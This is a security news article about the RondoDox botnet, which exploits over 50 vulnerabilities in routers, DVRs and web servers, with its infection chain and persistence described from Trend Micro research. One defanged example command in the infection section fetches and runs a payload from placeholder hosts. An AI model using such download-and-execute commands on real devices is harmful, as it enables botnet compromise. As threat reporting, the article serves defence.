RondoDox Botnet Exploits 50+ Vulnerabilities to Attack Routers, CCTV Systems and Web Servers

Since its emergence in early 2025, RondoDox has rapidly become one of the most pervasive IoT-focused botnets in operation, targeting a wide range of network-connected devices—from consumer routers to enterprise CCTV systems and web servers.

Its modular design allows operators to deploy tailored exploit modules against over 50 distinct vulnerabilities, enabling swift compromise of disparate platforms.

In many attack campaigns, adversaries have leveraged automated scanning to identify exposed devices, followed by rapid exploitation and command-and-control enrollment.

Trend Micro researchers identified RondoDox in April 2025 after observing anomalous traffic patterns emanating from compromised DVR appliances in multiple regions.

Subsequent analysis revealed a core engine written in Go, facilitating cross-platform deployment and efficient binary size.

The botnet’s command protocols support encrypted communications, ensuring stealthy C2 exchanges even under network monitoring.

Upon successful exploitation, RondoDox deploys a lightweight persistence agent designed to survive device reboots and firmware updates.

This agent periodically polls C2 servers for new payloads or commands, while self-healing routines reinstall components if removed.

Infections frequently culminate in the device participating in large-scale DDoS attacks or clandestine proxying for subsequent threat operations.

Infection Mechanism

RondoDox’s infection chain typically begins with a reconnaissance phase in which the malware’s scanning module probes devices for open Telnet (port 23), SSH (port 22), and HTTP management interfaces.

Once a target is identified, the appropriate exploit payload—drawn from its extensive repository— is delivered.

For instance, in one module, the scanner uses the CVE-2021-20090 router authentication bypass to execute a shell payload:-

wget http[:]//malicious.example/exploit; chmod +x exploit
./ exploit - u admin - p '' - c ' wget http[:]//cdn[.]example/rondox && chmod +x rondox && ./ rondox'

After initial code execution, the payload establishes an encrypted TLS channel back to C2 on port 443, disguising its traffic as legitimate HTTPS.

Trend Micro analysts noted that this encryption scheme relies on a custom certificate bundle, complicating interception and inspection efforts.

Once communication is established, the bot requests and loads additional modules—such as network scanners or DDoS tools—directly into memory.

The multi-stage infection flow highlights the transition from reconnaissance to exploitation and persistence.

A timeline of the RondoDox vulnerability (Source – Trend Micro)

Following the infection mechanism, RondoDox leverages device-specific persistence techniques, such as crontab entries on Linux-based DVRs or firmware image modification on certain router models, ensuring continued operation.

Its adaptability and broad exploit library underscore the urgent need for patch management and network segmentation to mitigate this evolving threat.

The table below provides a detailed overview of all 50+ vulnerabilities currently exploited by RondoDox, including their CVE identifiers, affected products, impact ratings, required exploit prerequisites, and CVSS 3.1 scores.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.